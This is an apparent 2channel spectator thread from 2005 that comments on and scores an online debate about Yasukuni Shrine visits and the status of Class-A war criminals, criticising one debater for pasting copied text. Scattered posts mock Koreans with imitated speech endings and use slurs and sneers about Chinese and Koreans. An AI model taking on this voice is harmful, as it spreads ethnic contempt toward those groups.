ここからこぴぺしてますな。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   引用文と地の文が非常に分かり辛い･･･引用符つけてくれ
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

>>777
気のせいじゃない。
なにこの定型文('A`)

既視感のある長文ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

って、つまんね。

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

私と議論する前に東亜のピラニアに散々食い荒らされた
穴だらけの論理を、そのまま貼り付けてるとは、夢にも思わなかった・・・

見たことあるだろ、禁煙ｻﾝ？　ｗ

(=ﾟωﾟ)ノあんだけ最初、ﾙｰﾙに細かかったくせに…………………………

言い訳させてください・・・・。


まさか、またやるとは思わなかったもので・・・。

>>776
てか、どっかで似たような長文を見たことがあるような希ガス。接ぎ
はぎしてるのかな？

しかも、どこかのサイト丸写ししてそうな・・・。

>>778
コピペって・・・なめてるな('A`)

http://news19.2ch.net/test/read.cgi/news/1119453282/
もまえら今日の在日スレはここですよ！

ただのコピペ
ｷﾀ━━━━━━━(ﾟ∀ﾟ)━━━━━━━ｯ!!

しかも、コピペに失敗してるから、コピペ丸出し。

これは、反論では無い。

以上です。

　　　　　　　東洋とハンファイする時は先行を選べば確実に勝てます

>>783
他人のミスはねちっこく、自分のミスは全部スルー
左巻きの基本ﾆﾀﾞ。

東洋に討論する気はないね。

＞いずれも昭和33年4月7日付けで、同日までにそれぞれ服役した期間を刑期とする刑に減刑された。
＞なお、赦免された者はいない。
＞1991年に政府のこのような見解を示している

これについてはｳﾘも調べた。

http://kokkai.ndl.go.jp/cgi-bin/KENSAKU/swk_dispdoc.cgi?SESSION=8056&SAVED_
RID=2&PAGE=0&POS=0&TOTAL=0&SRV_ID=1&DOC_ID=13659&DPAGE=1&DTOTAL
=4&DPOS=2&SORT_DIR=1&SORT_TYPE=0&MODE=1&DMY=10603
15 - 衆 - 法務委員会 - 17号 昭和27年12月24日

>　○小林（かなえ）委員
>従つて、現在、日本国民こぞつて戦犯者の釈放を熱望しており、またこの熱望にこたえ、
>御承知のように、衆、参両議院におきましても、すでに、戦争犯罪による受刑者の釈放等
>に関する決議がなさたれ次第であります。
>　しかるに、現行法のもとにおいては、仮出所の適格性を得るに至らない者は、その手続
>として、まず、減刑を勧告しその承認があつた後仮出所の適格性を有するに至つて初めて
>仮出所の勧告を行わなければならないので、その間相当の期間を要するのであります。
>よつて、今後の外交折衝によつて、その期間の短縮に関し、関係国の同意があるならば、
>必ずしも現行の期間によることなく仮出所に関する手続を進め得るようにいたしたので
>あります。

つまり法の不備により直に赦免はできず、まず減刑という手続を経るしかなかった
ということらしい。

>>784
滅田氏に非はないです。
今回は理解した上での不履行と見るべきかも。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   ･･･ただのコピペ？舐めてんのかアイツは
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

つまんない反論だなぁ
価値観には触れてないし…仏様と神社って…

てかさ、まぁ、結果見えてたけど


反論になってない。。。

ハンファイの意味がない；；

ホロン部と全く同じ手法なのよね。。。
反論を無視して、自身の主張をごり押し。。。

ちゅーか、相手の論旨を完全スルーっていうのはディベートとして正しいのか？
価値観の違いという論旨を無視して自論を新しく展開させるのは駄目だろ。
反論しなきゃ議論じゃない。

東洋思想氏はいつから日本に住んでるんだ？　日本で生活してねーだろ…
じゃなきゃ
＞神社が問題になっているのに「仏様」と宗教的に間逆の発言
なんてこと言わんと思うんだが…

目がチラチラする・・・。

これは議論になってないよ。

なんだぁ？「赤旗」の悪夢再びかぁ？（w

>>784
(=ﾟωﾟ)ノもつかれさまです


相手に違反されると切れるのに自分は何度も違反するなwwwwwwwwwwwwwwwwwwwﾜﾛｽ

お、始まってるなあ。

>>798
>反論しなきゃ議論じゃない。

俺もそう思う。

紫陽花氏が、どう出るかだな・・・

禁煙氏やめそﾀﾝのような百戦錬磨のいけずなピラニアならまだしも・・・

コピペかよ！！最悪だな。

討伐人を連想させるのはコピペの繋がりが不自然なせいか…

東洋思想氏のこのやり方は、紫陽花氏を煙に巻こうとしているようにしか見えん・・・。

これは反論じゃなくて詐術だよなー。

既出かもしれませんが、採点用テンプレをどうぞ

紫陽花 ◆9I/s/loapE 氏　　　　○-○　　　　東洋思想 ◆AVUttoyOvA 氏
（○にはそれぞれの得点を入力）

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
（紫陽花氏に対する、採点の理由を入力）


＜東洋思想 ◆AVUttoyOvA 氏について＞
（東洋思想氏に対する、採点の理由を入力）

>>800
チラチラって近くに色っぽい女性でもいるのか？

確かに首相の答弁もグダグダだったし、
「靖国参拝の意義」は議論の対象になりうるんだが。

ただ、これは「反対意見」ではないなあw

>>805
ウ、ウリはピラニアじゃないニダｗただの良識的な青年ニダｗ

読み返してみたけど東洋思想は「反論」をしてないじゃん・・・。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   最早議論ではない
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

>>810
高級品種の猫かも・・・。

>>809
得点は何点満点ﾆｶ？

>805
百戦錬磨のいけずなピラニア・・・ﾜﾛﾀ（ｗ

>>804
全くその通り。

>>816
５点満点です。

>>815
それはチンチラだと思うニダｗ

議論に成ってない議論に点数を付けるのは難しい…

＞そして赦免に関してこのように述べている
＞一般に刑の執行からの解放を意味すると解される。

執行された後だったってのはスルー？

>>814
学校でビラ配った例の女子高生を彷彿させるﾆｶ？

>>810
ちゃいます＾＾；
読みヅライのに、理解しながら読もうとして自爆っただけ・・・

>>819
OKﾆﾀﾞ。

>>820
ω　これﾆｶ？

>>809
両者満点が　５−５　で宜しいでしょうか。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>820　じゃ風来のシレンに出てくるチンタラで
l　　 ⊃　⌒_つ       　>>823　物凄い勢いで思い出されます　　ヤツも反論じゃなくて自分の主張やるだけが多かった
 `'ｰ---‐'''''"     

マサルや笑日もやった手段ですが、こういう「コピペを自分の主張のように見せる」
のは禁止とルールに明記すべきな希ガス。

これなら電波ゆんゆんの方が

オレだったら「ロボコ〜ン、0点！」で終了だけどなw

5点の配分ではなかったでしょうか？

>>812
自覚がない悪い子は・・・(ry

>>822
無期の人たちもいたでしょ。＞A項

お、久しぶりに夜なべして来たらハンファイやってるのか。

・・・と思ったらなんだこいつは。

学校でビラを配った女子高生とは誰のことニカ？

次で最終弁論なんで、予想通りに討論にならないってことか…

なにか・・・間違えられたような（ｗ

東洋は自分のＨＰから、適当な文を漁ってきて
貼り付けてるだけかよ・・・ｏｔｚ

>>816
５点満点です、ハンファイリングスレの>>１に書いてありますよ

リング誤爆してしまった・・・・に

コピペで済ませた時点でもはや反則のような。

>>827
　　 _, ,_ 　ﾊﾟｰﾝ
　 ( 　ﾟДﾟ)
　　　⊂彡☆))Д´）
ｲｲｶｹﾞﾝ ﾆ ｵｷﾙ ﾆﾀﾞ!!

あ、そういえば次が最終弁論か。
やっぱ、早いなあ…。
まあ、あれでは議論のしようもないけど。

本ヌレに誤爆

やっと追いついた。

てか、誤爆か？本スレ>>853

やっちまったなｗ

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   誤爆警報誤爆警報w
l　　 ⊃　⌒_つ       >>835　菱山っつージェネジャンに出てたプロ厨房、漏れと同じ学校にいる
 `'ｰ---‐'''''"     

>>821
同じく。
お互いの主張がかみ合ってない。紫陽花氏の主張に対して反論せず、
東洋思想氏は単に自説を主張しているだけ。

反論しない＝反論できないとするしかないだろうな。

今、東洋思想氏は紫陽花氏の最終弁論を待たずに
自分の最終弁論を編集中とみた。

皆さん採点できるの？

俺、無理だ。＾＾；

お、いい具合に収束させたな。

あー紫陽花氏それはまずいなー。
今賛否の話を出すとアンケート結果では不利なもののほうが多い。

反論ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!

>>850
頑張れ　ｗ

>>846
そいつはすさまじいニダねｗてか、たれ殿は高校生ニカ？ｗ

紫陽花氏は最後まで討論の姿勢を貫いた…と
まぁこれだけでも採点に多大な影響は出るよな

俺も採点できねぇ。。。

>>833
いまつね。
でも支那人や朝鮮人のいうA級戦犯たちって基本的に処刑された人たちでそ？

二分でも賛成派が多いってのは反論になりえるのだろうか・・・？

>>838
誤爆になってないww
タイミング良すぎ

>日中友好は、中国が日本に自分の価値観を押し付けるのを止めないと
>生まれないんです。

また東洋が国益国益言ってくる悪寒

>>855
個人情報求めるのよくないﾆﾀﾞ。
まあ、自己申告は勝手ﾆﾀﾞが・・・いやよくないﾆﾀﾞけど・・・

>>850
俺の中では今の所１-0だな。

>>850
できるよ。

サッカーで、選手が8人を切った場合どうなる？

>国内については、二分って言っても参拝賛成派が多いんですが。

う〜む、最新調査ではむしろ慎重派が多いんだが。

>>861
『国益』論争は私のときにもやったな・・・・

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>840　深夜なんだからいいべやｗ
l　　 ⊃　⌒_つ       　>>855　そーよ、高校3年　　菱山のﾃﾞﾑﾊﾟビラのテキスト欲しければハンファイ終了後ここにコピペするお
 `'ｰ---‐'''''"     

でも>>856のまとめはよかったかな。
東洋思想が突っ込まなけりゃ減点対象としては軽微かな。

「価値観」か・・・。
そういう捕らえ方もあるんだな。

>827
シレンユーザーということは、、、たれﾀﾝはあのたれﾀﾝ?

ｳﾘもよう採点せん・・・

皆様にお願い申し上げます。
誤爆は起こりうることですが、
誤爆後の謝罪等は一切不要とさせていただきます。
ファイトのより円滑な運営のため、
何卒ご協力お願い申し上げます。

反論してるし、論点を戻した所が評価できるかな。

>>867
コピペ世路ｗ見てみたいニダｗちなみにウリは大学1年ニダｗ

>>868
東洋思想から”反論”が返ってくると、お思いﾆｶ？
どうせコピペﾆﾀﾞよ。

>>852
まともな人ならそこに論点を絞るでしょう、まともなら・・・ねｗ
そもそも相手の意見を聞かずに自説を述べるようでは（ｒｙ

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>862　高校生って散々公開してるから今更気にする事も無いｗ
l　　 ⊃　⌒_つ       　>>870　「あの」ってどういうことやねんｗ
 `'ｰ---‐'''''"     

>>858
まあそれはそう。
赦免・減刑を論じる場合は生きてる囚人が対象になりますな。
紫陽花氏はそこを指摘していない模様。

紫陽花ﾀｿは「価値観」と言う一点のみに絞って論じてるし、一応相手の意見を引用して反論してるし。
討論してるよねぇ。
相手は・・・

んー、おいら的には>>848氏の通りだな・・・

>>872
お疲れさまです。

正直、紫陽花ﾆﾑはかなりまずいﾆﾀﾞ。
相手が「ｱﾚ」でなきゃ、かなり痛いトコロ突っ込まれると思う。

>>867
>>874
♪も〜えよ、わこう〜ど、むね〜をは〜れ〜

>>877
ありゃ、それは失礼したﾆﾀﾞ。
謝罪はするけど、賠償は(ry

ふむ、一応紫陽花は反論はしてるな。
だが、内容に対してイマイチ感が漂うが・・・。
慰霊する行為そのものが宗教なのだから無宗教の慰霊はありえない等の肉付けをしてもよかったと思う。

>>875
ま、それも織り込み済み。
全部自分で書いちゃったら面白くないのよん♪

>>867
　　 _, ,_ 　ﾊﾟｰﾝ
　 ( 　ﾟДﾟ)
　　　⊂彡☆))Д´）
ｼｼﾞｭｳｶﾀ ﾆｶ!!

やっぱ高みの見物はええね

>>882
討論はある程度相手にあわせなければダメでしょう。
今回は相手があわせるつもりがないってだけで(w

　 _,,..,,,,_　　        　　これどう採点しろと･･･
 / ,' 3　 `ヽｰっ　　　   >>874　じゃハンファイ終了後このスレで
l　　 ⊃　⌒_つ       >>884　気になるじゃないかｗ
 `'ｰ---‐'''''"     

>>882
正直、ハン板や東亜のピラニア相手だったら、瞬殺されているだろうな・・・

>>882
んー・・・読み直してみると、確かに危ういですな。(;´Д｀)

そろそろ長文くるかな？

ファイトしてないよね。

参拝賛成派が多いいっていうのは余計だったね。
まだ、二分してると濁しておいた方がよかった。

>>894
スレ違いってやつですね。

>>888
その通りｗ

真面目に議論してない態度を示したことで、０点だな。悪いが。

カウントダウン　ｗ

とりあえず、東洋の反論？を待とうか

>>872
了解しました
本当に、申し訳ありません出した

・・・・・・・ｏｔｚ・・・・・・・・・

本スレ>>860
東洋は書き込み中リロードしないから意味無い

引用のコピペを選定中です

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   紫陽花ﾀｿ危ないな･･･相手がアレで助かったのかもしれん
l　　 ⊃　⌒_つ       　まあ俺はやれといわれても無理だろうけど･･･10分短いし相手が('A`)
 `'ｰ---‐'''''"     

あと１分だが

あと１分切ってるよ・・・

時間ぎりぎりまでねばるな、こぴぺなのに

あと１分きりましたね。

時間ヤバくない？

また以上付いてねえよ

キターｗ

きたー、やっぱりなげー

うわぁ・・・

はい、予想通り「反論」ではありませんでした。

だから区切れ。。。

>877
救助掲示板で厨のかぎりをつくした。。伝説の。

　　　　　　　　　　　　　　　　同じことしか言ってない

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   とりあえずヤツの採点は決まったな
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

もうこれ０点だろ

こいつ最初から用意してたコピペを3分割しただけじゃないのか？('A`)

今の紫陽花には輝きが足りない。

読みにくいってのも減点対象だよな…相手にわかりやすく説く姿勢ってのか感じられないし。

長いし・・・。
しかも肝心な所を突っ込めてない。

また「以上」付けてないよ｡･ﾟ･(ﾉД`)･ﾟ･｡

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

・・・本当に不毛だったね

たしかに一方的に自分の主張だけ押し付けてもねえ。

議論じゃneeeeeeeeeeeeeeeeeee
あれじゃただのチラシの裏じゃねーかｗ

０点以外はありえんな・・・
議論してないって時点で評価対象外にしていいだろ

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   >>916　知らんがなｗ
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

てか、誰だ>>863は？

文末が、微妙に異なるのは切り張りしたせいﾆｶなぁ・・・

コピペ丸出し…

相変わらず読みづれぇぇぇぇぇぇ！

まぁ最後まで（議論という行為への）歩み寄りが見られなかったか…

つか、東洋思想総合0点でオケ？


朝鮮式議論じゃん、これ。。。

相変わらず、反論ではなく垂れ流しですね。

また国益かっ！馬鹿なんじゃねーのw

http://society3.2ch.net/test/read.cgi/korea/1108726335/722

727 ：東洋思想 ◆AVUttoyOvA ：2005/06/22(水) 23:47:18 ID:BOe1aW+5
このハングルファイトというのは勝負！的な感じなのでしょうか
だったら私はそんなつもりはないですからね
有意義な意見交換　そういう意味での議論にしたいと個人的に思っています

一応、これを遵守してるんジャマイカ？
本人は･･･

意見交換にも見えませんが

持ち点5は使い切らないとダメ？

(=ﾟωﾟ)ノﾀﾞﾌﾞﾙこのようにって何？

>>935
これを議論というのなら、
小学校の学級会のほうがまだマシだね　ｗ

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   終わったようだ･･･さあ採点採点
l　　 ⊃　⌒_つ       　ここの次スレ要るかね？
 `'ｰ---‐'''''"     

もうだめ・・・・採点放棄する・・・

865 ：東洋思想 ◆AVUttoyOvA [sage] ：2005/06/23(木) 02:12:24 ID:qNqVbV3C
終了？


ﾜﾛｽｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

ん？なんだ

いつも思うんだが、日本では死んでしまえば犯罪者でも仏様って無理がないか？

少なくとも殺人事件があった場合被害者の家族は相手が死刑になったとしても
憎むぞ。まぁ確かに加害者の家族が死後の犯罪者を弔うことを止めろと言う被
害者家族はいないだろうけどね。

ニュルンベルグ裁判では追求できなかった平和に対する罪だが、東京裁判では
それにより処刑されたという事実を追求した方がいい様な気がするが。

あれだけ「議論」にこだわってたくせに。

>935
大声で自分の言いたいことだけ言って、相手の意見は初めから聞かない、相手に意見させない
って事だね。
今回のこれはまさにその通りだと思う。

あれは議論ではない・・・自己主張の塊であり、相手の論旨すら見ていないのではと疑わざるを得ない。。。

>>943
俺もだ。

>>930
ｽﾏｿ　誤爆った

>>939
え？
５点分配方式じゃないでしょ。

５−５もありえるし、０−０もあり。

>>939
満点が５点。当然０点もあり。

これでは　議論　とは呼べないのでは？

また”以上”付け忘れ・・・というか、コピペ元には、そんな物付いてないからか

これは、議論じゃない、ただの自己主張・・・・東洋は０点でいいや

>929
そうでしたか。失礼しました。

採点は５点全て使い切らなきゃならんのか？

それはそれで、拷問に等しいんだが・・・　ｗ

採点はここ？専用スレ？

議論つーか、声闘だな東洋はｗ

>>398
>そういう意味での議論にしたいと個人的に思っています

議論って言ってるんだから、議論になってない所は減点すべきでしょ。

東洋は多少、おつむのﾏｼな右翼討伐人レベルと認定する。

>>935
そうか、声闘か！

声闘は声がでかい方が勝つそうだが、
これをネットでやると長文の方が勝つってことになるのか・・・。

なぁ、これって持ち点５をそれぞれに分配するのか？
3-2とかみたいに。
それとも、5点満点なだけで1-0とかでもいいのか？

>957
使い切る必要はないでしょ？

採点

紫陽花 ◆9I/s/loapE 氏　　　　3-0　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
＞日本では犯罪者ではありません。

論点が散漫になるのを防いだ点は評価。
しかしここは重点的に理由を付してほしかった。±0

＞二分って言っても参拝賛成派が多いんですが。

数字による裏づけなし。最近の調査結果とは異なる。-1

＞自分の価値観を押し付けるのではなく、相手の価値観を
＞尊重しなくてはいけないのだと。

それは日中両国に言えることになってしまう。「尊重しあう」であるべきだった。-1

＜東洋思想 ◆AVUttoyOvA 氏について＞
反論がなく、ただ自説を垂れ流しているだけ。
議論・討論の意思なしとして点数を剥奪。

>953,954
ああ、持ち点5って訳じゃないんだ。
ありがと。

>>946
神道だとそういう考えになるんじゃないか？
その発言単体でならそこまで無理だとは思わないが・・・

>>809をテンプレに採点ドーゾ

>>960
ぁ　そうだ
おっしゃるとおり･･･

>>963
後者。

観客席の皆様、ご観覧ありがとうございました。
採点をお願いいたします。

以下に採点テンプレを示します。

なお、東洋思想 ◆AVUttoyOvA 氏 は、
２度の時間オーバーを認めましたので、
ご考慮くださいませ。

　　　　　　　　　　(↓全角ｽﾍﾟｰｽ4個)
紫陽花 ◆9I/s/loapE 氏　　　　○点-○点　　　　 東洋思想 ◆AVUttoyOvA 氏

--------------以下、採点理由---------------------

つか、東洋思想の試合放棄でヨクネ？

反論になってない。。。

何がどう、反論になっているのかがわからん＞東洋思想

>>970
サンクス

紫陽花 ◆9I/s/loapE 氏　　　　2点-0点　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
積極的に議論に持ちかけていった姿勢を評価。
ただし、勇み足が多すぎた点が残念。


＜東洋思想 ◆AVUttoyOvA 氏について＞
まったく議論姿勢が見えない。
相手も聴衆も納得させる発言が無い。

紫陽花 ◆9I/s/loapE 氏　　　　2-0　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
内容的には主張の根拠にいくつか脆弱な点が感じられたが、
議題に対して議論の姿勢が明確だったので

＜東洋思想 ◆AVUttoyOvA 氏について＞
首相は参拝すべきか、という議題に対して、コピペ改変とも思える
自己主張を行うのみで終始議論を行う姿勢が見えなかったので

>>963
選手一人につき５満点

だから0-0もありえるし、5-5もありえます

ロボコン　０点

>>957,963
各論者に対して５点満点。
だから　５−５　も　０−０　もあり。

今日の収穫は　紫陽花が女人であったこと　の一点のみですな

A級戦犯の扱いが定まってない
↓
新施設

は明らかにおかしいんだけどね。
実際、自分で言ってるとおり
>全国戦没者追悼式が追悼対象にA級戦犯は含んでいるにも関らず
>中韓から公式に何ら批判されたことがない

だし。

まあ、確かに「A級戦犯」の評価は日本でも定まってないし、
まず、「A級はどのような存在か」の国内議論からだろう。
それまで参拝は「据え置き」ならばわかるが、いきなり「反対」ならば、
まずその理由を言わないと。
そして、さっきからその理由を東洋は一切言ってない。

869 ：東洋思想 ◆AVUttoyOvA [sage] ：2005/06/23(木) 02:17:26 ID:qNqVbV3C
>>868
3点で
自分の答弁述べるんだから
反論したら次結論が来るわけなんだよねｗ
それを想定すると反論できないところがつらかったｗ


だったら回数増やせよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

842の
>つまり無宗教で特定の宗教法人の考えに沿うことなく
>天皇陛下並びに諸外国の閣僚に参拝してもらえるような追悼施設への参拝を
>今こそ見直すべきではないかと考える
と
武大偉大使の引用以下が矛盾してるような気もするな。

あ、採点はできません。東洋思想が反論になってないんで。

紫陽花 ◆9I/s/loapE 氏　　　　1-0　　　　東洋思想 ◆AVUttoyOvA 氏
（○にはそれぞれの得点を入力）

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
（紫陽花氏に対する、採点の理由を入力）
淡白に焦点を絞ったのはよかったが、もう少しその論旨に肉付けをおこなって欲しかった。
あまりにも薄味すぎるきらいがある。
だが、相手に対する反論をし議論をする努力をしていたのが分かるので加点。

＜東洋思想 ◆AVUttoyOvA 氏について＞
（東洋思想氏に対する、採点の理由を入力）
相手の論旨に反論せずに、新しい自論を展開し自己主張だけに終わるのはいかがなものか？
論旨に反論しない議論など議論にあらず。

　 _,,..,,,,_　　        
 / ,' 3　 `ヽｰっ　　　   誰か次スレを･･･とりあえず採点
l　　 ⊃　⌒_つ       
 `'ｰ---‐'''''"     

紫陽花 ◆9I/s/loapE 氏　　　　3点-0点　　　　 東洋思想 ◆AVUttoyOvA 氏 

--------------以下、採点理由--------------------- 
紫陽花氏･･･相手のレスを引用したり議論に対する歩み寄りの姿勢があるのは評価できると思う。
　　　　　　　　論点を戻したりしているその意気や良しって所だろう。
　　　　　　　　内容は裏づけの欲しい部分(参拝是＞非の世論)等論旨としては脆弱な部分が気になった。

東洋思想氏･･･論外。反論しない、ルール無視、コピペで全く意味が無い。0点すら勿体無い

紫陽花 ◆9I/s/loapE 氏　　　　2-0　　　　 東洋思想 ◆AVUttoyOvA 氏

紫陽花氏：
真面目に議論しようという姿勢がよく、論点もきっちり絞っていますが、対戦者の視点から見た場合、
やや危うい面が多かった。突っ込まれたら厳しい局面になりそうでしたので減点。

東洋思想氏：
議論になっていません。
相手に対する反論が全く見えず、自論の垂れ流しに終始しているため加点のしようがありません。

紫陽花 ◆9I/s/loapE 氏　　　　１-１　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
断言している箇所に対する事実の摘示が不足している。Aという事実を敷衍することによって
Bを得る。故にBは真であるという議論の展開になりえていない。

＜東洋思想 ◆AVUttoyOvA 氏について＞
そもそも議論になっていない。事実の摘示はあるが、単なる論評である。

＃双方、議論の立脚点不足と論点不足によりこの採点とさせていただきます。

>>981
やってみなければわからないところもありますし・・・。

私がやったときは、持ち時間５分でつらかったです・・・。
自分が提案しましたのに・・・。
あんなに辛いとは思わなかったです・・・。

紫陽花 ◆9I/s/loapE 氏　　　　2点-1点　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
議論する姿勢は評価出来る。



＜東洋思想 ◆AVUttoyOvA 氏について＞
知識も意見もあるのでしょうが
議論というより
一方的な演説になっていた。

紫陽花 ◆9I/s/loapE 氏　　　　1-0　　　　東洋思想 ◆AVUttoyOvA 氏
（○にはそれぞれの得点を入力）

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
論点の明確化、相手への反論の姿勢が見られるも根拠を明示していないため、説得力に欠ける 。

＜東洋思想 ◆AVUttoyOvA 氏について＞
意見交換のスタンスとはいえ、相手の論拠に対応することなく自説の主張のみである。
議論とは認められない。よって無得点

次スレ立ってますか・・・？

しまった、スレ立てやったことねー；；；

紫陽花 ◆9I/s/loapE 氏　　　　3-0　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
簡潔で分かりやすい論調だが、それ故に論調を補強する根拠が乏しく減点。
また、靖国参拝の賛否についての世論調査についての事実誤認もある。

＜東洋思想 ◆AVUttoyOvA 氏について＞
コピペ丸出しで議論をしようとする気が感じられない。論外。

紫陽花 ◆9I/s/loapE氏　　　　3-0　　　　東洋思想 ◆AVUttoyOvA 氏
　　　　　　　　　　
理由
紫陽花氏は危ない所もありましたが、対戦者と違って議論としての形を為しており・・・
相手への突っ込みがも少し鋭いとよかったかなー。

東洋思想氏　　色々だめぽ。　採点対象外。


コピペを自説の如く垂れ流すの禁止をルールに明記すべきと、この際主張します・・・　　

お疲れー＾＾

紫陽花 ◆9I/s/loapE 氏　　　　2点-0点　　　　 東洋思想 ◆AVUttoyOvA 氏

紫陽花 ◆9I/s/loapE 氏
分かりやすい文章で、見ている側には好印象。
でも分かりやすい反面、淡白すぎて説得力に欠ける節が見られた。
それらを踏まえてこの点数とします。

東洋思想 ◆AVUttoyOvA 氏
自分自身の価値観を押し付けるだけで、相手の発言に対する反論が一切見られない。
以上の点から議論を成立させるつもりが無いとみなし、最低評価とさせてもらいました。

次スレすぐ立てろ。採点できない。

採点

紫陽花 ◆9I/s/loapE 氏　　　　2-0　　　　東洋思想 ◆AVUttoyOvA 氏

採点の理由

＜紫陽花 ◆9I/s/loapE 氏について＞
>ですが、今は参拝しなくてはならない。
>これは、外交の問題です。

論旨が不明瞭。
この点を掘り下げるべきだった。
−1

>国内については、二分って言っても参拝賛成派が多いんですが。

蛇足。
下手をすると突っ込まれかねない両刃の剣。
−1

全体的に論理展開が弱い。
−1

＜東洋思想 ◆AVUttoyOvA 氏について＞
議論ではない。
自分の主張の声高な表明に過ぎない。
しかも、人の言葉を借りての表明。
考えても反吐が出る。
０点なのは、これが最低点だからだと認識していただきたい。

>>994
おつかれさまですﾉｼ

採点テンプレを示します。
　　　　　　　　　　(↓全角ｽﾍﾟｰｽ4個)
紫陽花 ◆9I/s/loapE 氏　　　　２点-０点　　　　 東洋思想 ◆AVUttoyOvA 氏

紫陽花氏
＞日本では犯罪者ではありません。
ここを重点的に攻めて欲しかった。討論としてはきちんと正論を言ってたと思います。


東洋思想氏
どの部分に対する反論なのか明確化すべき、そもそも反論にすらなってなかった気もするが

次スレ立てたら本スレでアナウンス汁

　 ＺＺｚｚz…∧_　 ∧＿∧　　 　.／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　 <,,-д（　´∀｀）　　＜　 １０００越えるまで頑張ったんだね
　　　　　　　(っ(,,_ノ 　 ソ　 　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　　 ｀7　∧　〈
　　　　　　　 （＿）（＿_）
　　　　　　∧_∧＿∧　　　　／￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　 <　 ,,-> ´∀）　　＜　さぁ、他のスレッドに移ろうか
　　　　　（,,)　っ(,,_ノ　 　 　　＼＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　 /（_(_フ〈
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